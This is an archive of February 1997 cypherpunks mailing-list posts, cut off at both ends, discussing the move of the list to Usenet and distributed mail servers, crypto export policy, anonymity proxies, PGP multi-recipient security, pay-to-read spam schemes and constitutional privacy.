does look like a good idea (it came from foo.com, so foo.com obviously
has it).  Filtering out other gateways' messages will reduce load at
the possible expense of delay (assuming a smallish network of news
servers that feed each other the list; obviously the message will
flood the majordomo net before it floods the real usenet unless
something is seriously broken).

 > 
 > >newsgroup seems wrong for noise (both to the list itself and to
 > >posters) and delay reasons.
 > 
 > 	Delay reasons being that mail will go to Usenet, go
 > all over the place there, and then get replied to later than if
 > it were just on the mailing list(s)? A potential problem, yes.

I didn't exactly say, but I was comparing a small network of news
servers feeding each other cypherpunks.list to, say,
alt.cypherpunks.list. 

 > But (especially given the options I mentioned below), this
 > would appear to be a matter for individual users to decide
 > by which list they go with and any added control headers.

I'm trying to come up with a way to provide NNTP access (and an
experimental alternative to the net-of-majordomos) that won't offend
anybody too much.  I can filter out messages that the authors don't
want sent out; I'd prefer to deal with what would make the authors
want the messages filtered out instead.

 > Maximum individual sovreignty (sp?).
 > 
 > >>   In regards to your later query about whether people want their postings
 > >>   going to Usenet, might I suggest that this be individual to the given
 > >>   distributed mailing list? In other words, since the recipe is logically
 > >>   going to have to not forward to a gateway messages from other mailing
 > >>   lists (since it's not a good idea to have multiple copies of the same
 > >>   message arriving at the gateway if it can be helped; better to filter
 > >>   it out beforehand),
 > 
 > >It doesn't seem an especially bad idea, since it 
 > 
 > 	Thank you. Were you cut off?

Yes.  Should have read:

It doesn't seem an especially bad idea to send a gateway multiple
copies of the same message, since theextra messages won't increase the
load much but will increase the reliability and decrease the
propagation time compared to a network where there are no duplicates.
The only case where filtering duplicates is certain not to hurt delay
or reliability is when the gateway in question is known to have a copy
of the message already.  Usenet uses the Path header for this; there
doesn't seem to be such a thing in the majordomo net.

 > >>   some of the mailing lists can forward and the
 > >>   others cannot. (One could even determine this behavior on application
 > >>   of the proper X-header, although I never trust various mailing systems
 > >>   to forward such intact.) The same could also be done with gatewaying
 > >>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
 > >>   lists sign up to it and they _don't_ forward such messages to others,
 > >>   people can decide whether or not to receive Usenet postings on
 > >>   alt.cypherpunks.* by which list they subscribe to.
 > 
 > >The code currently running is a perl script that turns typical email
 > >messages into something INN is happy with.  It is probably possible to
 > >get your message rejected by INN if you put obsolete or otherwise
 > >unusual and illegal headers in.  This may be a bug.
 > 
 > 	That would probably depend on: A. if any other circumstances
 > other than deliberately sabotaging your message's translation would
 > also disrupt its chances of getting through seriously, particularly
 > if they weren't something you'd spot; and 

The main way to get a message rejected seems to be using obsolete
news headers on it.  If you don't want your message posted, add a
Posting-Version line to the header.

 > B. if sufficiently bad
 > messages would disrupt INN's operations too much.

No more so than a sufficiently bad news posting that came in over NNTP
(since the mails do turn into news postings over NNTP).








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 18 Feb 1997 17:13:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP access fee rebuttal
Message-ID: <199702190113.RAA14487@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you are interested in the on-going debate over ISP access charges, I
sugest you look at a newly published report perpared for the Internet
Access Coalition.  It stomps on the RBOC assertions that dial-in access to
the Net is having a generally negative impact on their telephone networks
from both performance and financial asapects.

http://www2.itic.org/itic/eti_toc.html

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Thu, 20 Feb 1997 06:56:06 -0800 (PST)
To: cryptography@c2.net
Subject: Re: European crypto export policy
Message-ID: <199702201456.GAA14451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ulf Moeller wrote:

> I wonder if someone whose Swedish is better than mine could summarize
> the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html

After signing the Wassenaar Arrangement, Sweden has written it's own
ITAR and there is a subdepartment of the UD, it's Foreign Office/State
Department, the ISP (Inspection of Strategic Products), that handles
export requests, if need be with the help of the FRA, it's NSA.

A representative of the ISP says that only a handful of EU member states
are completely cleared by the Wassenaar statutes to be at the importing
end of strong crypto: England, France, Holland, Sweden and Germany.
Most other EU states could fail because it would be to upgrade them
concerning their cryptologic resources.

An example is given: the coming Swedish ID smartcard (using DES
and 512 bit RSA) would theoretically need a OK from the ISP before
being carried over the border to Denmark.

A crypto exporter (obviously hardware) complains about harassing
bureaucrazy even if Germany is the recipient.

So much about that short article. In addition to Goran Axelsson,
Sweden's representative in the EU's IT security body whom Ulf
is mentioning in his post, Swedish crypto-politics is handled
by this guy's boss (at least formally) at the UD, Magnus Faxen.
And then there is the FRA (Forsvarets Radioanstalt), a body as
secretive as the NSA. They don't officially take part in the
discussions at all.


Asgaard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: JSC Security Report
Message-ID: <199702182226.OAA12236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Redefining Security," a 1994 report to the DoD and the CIA by 
The Joint Security Commission, offers bountiful information
on US security strategies, policies, agencies, methodologies, 
and techniques, you name it, with designs for the future.

   http://jya.com/jcs.htm  (454K)

If you ever wanted to talk like the spooks, parrot this dictionary 
of NatSec ebonics.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Tue, 18 Feb 1997 17:11:37 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702190111.RAA14465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:58 PM 2/17/97 -0600, Igor Chudov wrote:
...
>It is a very good objections. I would like readers to speak up and say
>their word for or against forwarding the list messages to
>alt.cypherpunks.  If a significant number of people objects (2-3 is
>enough) I will disable this feature.

As to my two cents, I like the idea, but would ask that the usenet feed have
the scrambled address described by Cynthia H. Brown.
I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION
DOLLARS!", if the system described by Mrs. Brown works, I would prefer this.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 18 Feb 1997 17:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <199702190111.RAA14464@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Terry L. Davis wrote:

> I'm not certain how I got on the cypherpunks newlist, but it's way over 
> my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
> Thanks
> 
Another thing the new list needs...verification of subscribe requests.



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 17:11:40 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [noise] Re: JSC Security Report
Message-ID: <199702190111.RAA14466@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 2/18/97 -0500, John Young wrote:
>"Redefining Security," a 1994 report to the DoD and the CIA by 
>The Joint Security Commission, offers bountiful information
>on US security strategies, policies, agencies, methodologies, 
>and techniques, you name it, with designs for the future.
>
>   http://jya.com/jcs.htm  (454K)
>
>If you ever wanted to talk like the spooks, parrot this dictionary 
>of NatSec ebonics.
Great, I'll look into it.  I've been meaning to get some info on the like.
You just can't convince someone that you are one of them unless you talk
like them.
And I would like to get all relevant information to any investigations into
my activities faxed to the nearest Kinko's.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:41:37 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702190141.RAA14890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:56:43 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702190156.RAA15148@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:27 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 18 Feb 1997, Bryan Reece wrote:
> Filtering out other gateways' messages will reduce load at
> the possible expense of delay (assuming a smallish network of news
> servers that feed each other the list; obviously the message will
> flood the majordomo net before it floods the real usenet unless
> something is seriously broken).

Why is it obvious that mail propagation will be faster than news
propagation?  News propagation times of small numbers of seconds are not
at all uncommon.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Why is it obvious that mail propagation will be faster than news
> >propagation?  News propagation times of small numbers of seconds are not
> >at all uncommon.
> 
> News propagation in seconds to your _local server_, or to _distant_
> servers?

To some (perhaps many, certainly not all) distant servers, provided all
the news servers in the path run appropriate software (designed for low
latency propagation) and have reasonably high bandwidth Internet links. 
Disk to disk delays smaller than 1 second have been measured between news
servers that use software such as nntplink or innfeed to send outgoing
articles immediately.

> The Usenet is thousands of news servers, maybe tens of thousands, and
> news feeds take a while...small articles are mixed in with hundreds of
> megabytes a day of binaries. A percolation process, as opposed to a
> point-to-point process for e-mail. 

Right.  And some of those news links are fast, while others are slow.  If
two sites happen to be connected by fast news links, it's quite possible
for news between those sites to be faster than mail.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
>> obviously the message will flood the majordomo net before it floods
>> the real usenet unless something is seriously broken).

I replied:
> Why is it obvious that mail propagation will be faster than news
> propagation?  News propagation times of small numbers of seconds are
> not at all uncommon.

Sorry, I misunderstood the earlier message.  I thought that it referred
to news propagation between a small set of hosts versus mail propagation
between the same small set of mail/news hosts, and I did not see why
it was obvious that mail would be faster than news.  But actually the
earlier message refered to news propagation over the whole planet versus
mail propagation between a small set of hosts, in which case of course
news will be slower.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 20:26:29 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702190426.UAA17296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 AM 2/18/97 -0500, Alec wrote:

>A friend, who, in the CP tradition requested to remain anonymous, and I were
>doing an informal analysis of those subjects/topics which over the past year
>generated the most discussion and, by implication, interest on the CP list.
>Since the list at that time was reportedly unmoderated, we felt some weight
>should be given to members' interests/desires as measured by their posts,
>regardless of the applicability to the list topic.
>
>With the exceptions of AP (oh so clearly way off-topic),


Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
as I've sketched it uses many of the 
encryption/digital-signature/verification techniques which are often 
discussed here and are essentially universally agreed as being on-topic.  
Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole 
field of cryptoanarchy, which disables the State by making it unnecessary 
and powerless) would be and probably is most of the motivation for the 
various "let's control encryption" proposals that the US government and 
others have pushed over the last few years.

On the other hand, it is equally clear that while AP is "on-topic," 
nevertheless it is quite distinctly distasteful to a few people around here 
who seem to believe that the _political_ and _technical" implications of 
good encryption can be kept safely separated.  It is obvious that you are 
one of those people.  It is equally obvious that you are not honest enough 
to admit that.  So rather than say merely "I don't like it" you try to 
embellish your claims with "oh so clearly way off-topic."



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 18 Feb 1997 21:56:26 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702190556.VAA18693@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:
>
>        So now we ourselves burn the village in order to save it.
>
>        <nostalgic sigh>
>
>        How American!
>

Vin, your words are poignant and heartfelt.  To be honest, I share your
feelings (but I can't help but be amused that having recently decided to
resubscribe after a lengthy absence, I returned just in time to wallow into
a sea of discontent -- sorta like walking out the door of the cabin and all
the snow on the roof falling on your head -- you're cold, you're wet, and
you feel pretty damn stupid to boot).

However, the denizens of this place are a resourceful lot.  If
alt.cypherpunks doesn't work out, if the distributed mailing lists don't
work, we'll try something else.  I don't think anyone is ready to give up,
yet.

best,

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
  Ishmael gave himself to the writing of it, and as he did so he
  understood this, too: that accident ruled every corner of the
  universe except the chambers of the human heart.
  -- David Guterson, Snow Falling on Cedars, 1995
  --------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 21:57:13 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702190557.VAA18700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 AM 2/15/97 -0800, Timothy C. May wrote:
>At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:
>
>>I much prefer the plan where a potential mail correspondant includes an
>>e-cash dollar directly cashable by me.  If I like the mail (and the
>>sender), I throw the dollar away and the sender goes on the approved
>>list.  If not, I keep the dollar, and the sender goes on the twit list.
>>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>>still be getting a bargain.  And potentially, some receivers may throw
>>away the dollar and welcome the spam.
>
>The basic flaw in all of these schemes is that they are "top-down"
>solutions, imposed on the market for invented reasons.

There we must disagree.  Not that "top-down" imposed solutions won't 
generally work, I agree with that.  Rather, I suggest that there are valid 
and logical market-driven reasons that people, both buyers and sellers, 
would want to adopt the system I've proposed.

The benefits for the recipient of the payment-containing spam/advertising 
are obvious. He gets money.   Admittedly it is less obvious why a seller 
would want to pay for what he seemed to previously got for free, but that's 
more-or-less the case.   More in a moment.

[snip]

>However, just "making up" a fee--as Roy does here, and as Jim Bell and
>others have done before--is not a solution either. Nor does it stand any
>chance of being "enforced" (for a large number of reasons I won't get into
>here).
>--Tim May

Yes, the charge will be "enforced"...by the market!  Here's how.  "Spam" in 
other media is termed "advertising" or "junk mail."  And advertisers pay 
good money for it, precisely because that it will drum up enough business to 
not only pay for the ad rates, but also make some profit as well.  They're 
apparently correct, because those companies stay in business for years or 
decades.   Now, you'd probably imagine that businessmen would like to see 
the cost of their advertising drop.  Superficially, you'd be right, but in 
reality if the cost of advertising on TV or radio or newspapers is an 
essential element of the system. 

To understand why, imagine that the price of such advertising dropped by a 
factor of 100.  Suddenly, anybody doing ads could do ten times as many, for 
a tenth the total cost, or any such similar ratio.  Or thousands of 
companies whose products didn't previously profit enough for such ads would 
now be able to do them, as well.  The airwaves would be flooded. There 
wouldn't be enough time for entertainment, or news, or much of anything 
other than ads.  Worse, since total advertising revenue would probably be 
down by at least a factor of 25, even assuming "only" a 4x increase in ad 
volume, there would be far less money available for producing good shows.  
With fewer, worse shows, and many more ads, the average viewers would stay 
away in droves.   Pretty soon, the VALUE of that advertising to the 
advertiser would drop...to 1/100 of what it was before.

The newspapers would, likewise, be flooded with ads.  Even local newspapers 
would look like the Sunday New York Times.  And the current newspaper reader 
might as well stay away, because it would be a rare page that actually 
contained an article, and was not filled with ads.

Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) 
dropped by a factor of 100, our mailboxes would be filled with paper three 
times a day, maybe more often.

Well, actually this is not true.  There are other effects which would limit 
this progression.  For example, as ad space went up, people would watch/read 
less, so advertisers won't be motived to place ads even if they are free.  
If junk mail was free, nobody would have the time to read most of it, and it 
would go into the trash even faster than it does today.  In effect, if 
nothing else limited this advertising, our patience (or lack of it) would do 
so.  The _value_ of that advertising would drop to zero, along with its 
cost.  The end result, I argue, would be occasional low-value, sporadic 
advertising that "nobody" reads and everybody hates.

Sound familiar?  On the Internet, it's called, "spam."

Classic Internet-type spam is, essentially, a "zero-cost" ad.  Not _exactly_ 
zero cost, but pretty close, at least in terms of bare cash outlay.  What 
limits Internet-spam is that if it's overdone (or, some would argue, done at 
all!) an advertiser ends up pissing off the reader, making him even less 
likely to purchase the goods or services the spammer/advertiser was 
offering.   At that point, in effect the cost of that advertising is 
"infinite," because the outlay of zero money caused a _reduction_ in sales.  

An advertiser can't force a customer to buy, and he knows it.  But what he 
wants is the customer's time and attention, even if there's no guarantee of 
a sale.  Really, what he wants is to buy the attention of a potential 
customer, maybe only few a few seconds or a minute or so.  That's what 
advertising does.  But like an ad in a newspaper or a commercial on TV 
(which the target customer can ignore, mute, or walk away from) there is no 
guarantee of contact.  

So how, you'll ask, can the "free money with spam" deal be "enforced"?  
Well, it can't, if your definition of "enforced" includes merely the idea of 
some higher legal authority like a government or a trade organization or 
something.  But if you include the idea of the participants in the market, 
themselves, "enforcing" such a payment, it can.

Let's suppose, for simplicity's sake, that we are considering two types of 
advertisers.  One has a product that few people want.  Not NONE, just few.  
It's either poor quality, or too expensive (compared to its perceived 
value), or just not particularly interesting to the majority of the public.  
The other has a product that far more people want.  It's good, or is seen to 
be inexpensive, or is interesting.    Now, the former advertiser must put 
out far more ads to make a given buck than the latter.   The latter 
advertiser wants and needs the attention of any given potential customer 
more than the former, because the latter is far more likely to satisfy the 
customer's curiosity and desires and  be able to do business with him.  

In short, the purveyor of products that more people want (products which are 
more likely to interest the average potential advertisement reader...) can 
AFFORD to pay a larger amount of money to a given ad-recipient than can the 
other advertiser, the seller of junk.  Logic suggests that in the 
competition for "share of mind," the good-product seller would choose to 
give a larger amount of money to any given ad-recipient, in order to attract 
his attention and distinguish him from the other guy, if nothing else.  
After all, that's the one thing HE CAN DO that the other guy, statistically, 
cannot.  He can say, in effect, "My ad is more important and intersting to 
look at, and I can prove it by paying you more!"  He is also saying that he 
values you, as a customer, more than the guy who can only pay less.

Moreover, if I were a potential ad-reader, faced with the prospect of 
reading "N" ads where "N" is a larger number than I really want to see, 
presumably I would like to be able to pre-separate the ads into two groups, 
the ones I'm more likely to want to read and the other pile.  Even if I were 
to totally ignore the fact that I'm more enriched by ads which contain a 
larger payment (for example if that payment were to go (hypothetically) to a 
charity of my choice) I should STILL recognize that it is more likely that 
an interesting, useful ad would be able to afford a larger payment to 
potential recipients.  Therefore, logic suggests that absent any other 
guide, I should spend my limited time reading preferentially reading the ads 
where the advertiser was willing (and able) to make a larger payment.

Were a mail-reader program equipped with the ability to collect such 
payments and change the ranking of ads, it seems logical to believe that one 
of the most frequently-chosen options would be one which presented the 
highest-paying ads FIRST, then the others in decending order of value.

There are multiple levels of self-interest at work here, reinforcing 
themselves.  First, in the short term, advertisers who pay more make you, 
the customer, richer.  But more importantly, if the customer preferentially 
reads high-payment ads, over the medium-term  the advertisers will tend to 
get the idea and will raise their payments to whatever they feel they must 
to get your attention.  Further, in the long term giving more business to 
advertisers who pay customers more will tend to strengthen those 
advertisers, leading to their dominance in the industry.

In short, like Darwin's natural-selection concept, the idea of including 
payments with unsolicited ads will simply take over.  In fact, at some point 
the concept of sending unsolicited product or service advertising (at least 
on the Internet) WITHOUT including a gratuity will become as gauche as 
exiting a restaurant without leaving a tip.   At that point, the behavior of 
millions of potential customers will, in effort, ENFORCE the practice, 
because the vast majority of the public will simply ignore advertising by 
rude, un-generous people.







Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 18 Feb 1997 21:56:05 -0800 (PST)
To: Michael Ehling <mehling@ibm.net>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from
Message-ID: <199702190556.VAA18665@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Ehling wrote:
> 
> At 10:31 AM 2/14/97 -0800, you wrote:
> <snip>
> >
> >Having been "on" the net for over 15 years -- and with experience
> >in both ends of the censorship/moderation problem  (I'm probably
> >the only Cypherpunks member to have had a book "banned in Boston"),
> >I'm sorry that a handful of sociopaths managed to destroy this
> >experiment in anarchy, but I suspect that this was inevitable.

The experiment in anarchy continues full speed.

Cypherpunks is not dead, although it will take the newly created
online communities to pick up steam. Cypherpunks mailing list simply
expanded and took another form.

Again, thanks to John Gilmore for running this list for years. His
job required a lot of dedication and effort and I am thankful to him
for what he did for it. cypherpunks@toad.com enhanced my understanding
of reality immensely.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:26:20 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Raph
Message-ID: <199702191426.GAA24931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 AM 2/18/97 -0500, Alec wrote:
>I have found it convenient to retrieve Raph's list off c'punks, as opposed to
>fingering. I do hope this service to the community will continue on one forum
>or another.

You can of course also get it from the web page listed in the listing...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:28:09 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Cypherpunks Mailing List (Was: Re: When and where?)
Message-ID: <199702191428.GAA24979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Please post the date when this list will shift to Usenet if that is indeed to
>happen. I have not been able to sort out the facts (?) from the speculation,
>argument, and gas.

There are a variety of approaches being pursued in parallel.
You can subscribe to cypherpunks@Cyberpass.net by sending
mail to majordomo@Cyberpass.net with the usual syntax (send it a 
message body of "help" if you want details.)  It should gateway to
the other mail servers as they develop.  It's currently getting 
everything from cypherpunks@toad.com, which I've no unsubscribed to
to avoid getting duplicate copies of everything.

If you're one of those people getting one or more copies of the
cypherpunks mailing list and you don't want to, find out where your
mail is coming from and send mail to majordomo there....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP key compromise with multiple independent encryptions of same message?
Message-ID: <199702191426.GAA24957@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:27 AM 2/17/97 -0500, David Coe wrote:
>If I were to PGP-encrypt the same exact message to a number of
>different people, each copy with that person's public key, would
>I be making it easy (or easier) for one (or a group) of those
>recipients to compromise another recipient's private key?

If you're doing it as N separate messages, you're using 
N separate IDEA session keys; IDEA's strong enough that's no risk,
especially since they'll be using separate Initialization Vectors.
If you use the multiple-recipient capability, which uses one copy
of the message encrypted with one session key, and separate headers with
the session key encrypted with each public key.  If PGP didn't take 
precautions to prevent it, there are attacks on RSA which can be used
when you encrypt the same message with different RSA keys.  However,
PGP pads the session key with different random padding for each
session-key-encrypted-with-public-key header, so they're different messages,
so there's no risk there either.

So don't keep worrying about it; use whichever is more convenient.
(But it was worth worrying about once. :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 22:41:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from
Message-ID: <199702190641.WAA19338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Again, thanks to John Gilmore for running this list for years. His
> job required a lot of dedication and effort and I am thankful to him
> for what he did for it. cypherpunks@toad.com enhanced my understanding
> of reality immensely.

  I certainly hope that the lack of posts expressing gratitude to John
Gilmore for his maintenance of the CypherPunks list on toad.com for all
these years is merely because those who have benefitted from his efforts
are expressing their thanks via private email to him.
  Certainly, as Igor has indicated, he did not just sit on his butt
playing with Little Peter while 'the machine' ran itself and provided
the CypherPunks with a home for both rational discourse and mad
ramblings.
  There are quite a few people, ranging from long-term members to
passers-by who have had their horizons broadened by the list, and I
would hope that they are appreciative of the fact that the mechanics
of bits and bytes underlying the distribution of our grand soliloquys
came at the expense of a considerable portion of his own time and
energy.
  I know that I am.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 19 Feb 1997 06:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Still no sign of alt.cypherpunks heirarchy at Netcom
Message-ID: <199702191426.GAA24908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm tapping my toes, druming my fingers and waiting...

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 19 Feb 1997 06:28:24 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702191428.GAA24982@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone seen discussions on how these protection mechanisms can be
circumvented?

>http://techweb.cmp.com/eet/news/97/942news/encryp.html
>
>To summarize, the Digital Video Disk standard contains an encryption
>standard for copyright and anti-piracy protection. however, "some U.S.
>PC and silicon vendors have just about abandoned hope of keeping to
>their revised launch schedules for DVD-enabled systems."
[snip]
>A solution may be in the offing within days. Some sources said late last
>week that Matsushita [who owns license rights] and key U.S. computer
>companies may resolve the software-licensing issues by the end of this
>week. The PC industry seeks amendments to the licensing-agreement language
>that would result in equivalent treatment of software- and hardware-based
>CSS decryption.
>
>... there apparently has been some speculation among the U.S. PC community
>that Matsushita may be stonewalling on the software-licensing issue so that
>it can establish its hardware-based decryption solution in the marketplace.
>

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 19 Feb 1997 06:28:15 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702191428.GAA24981@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. may wrote:
> At 1:22 PM -0600 2/17/97, snow wrote:
> >	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> >can only, ONLY do what the constitution says it can.
> But why do you not object that the "right to free speech," "the right to
> keep and bear arms," and so on, are specifically enumeratedin the Bill of
> Rights? The privacy issue is that there is no such enumeration of a right
> to privacy in the Bill of Rights, though many think it to be implicit in
> some of the other enumerated rights, e.g,, the Fourth, and even in the
> First.

Amendment X-

(1791) The powers not delegated to the United States by the Constitution, nor 
prohibited by it to the states, are reserved to the states respectively, or to 
the people.

	As far as my reading goes, the Constitution (of which the BoR is a 
portion, IIR my "civics" (more like uncivics) classes properly) doesn't give 
the Feds the right to invade my privacy, and although not _explicit_, 

	Also:

Amendment IX

-(1791) The enumeration in the Constitution, of certain rights, shall not be 
construed to deny or disparage others retained by the people.
	
	Seems to indicate that even if it isn't listed, we should still 
have it. 

	Then:
Amendment IV-

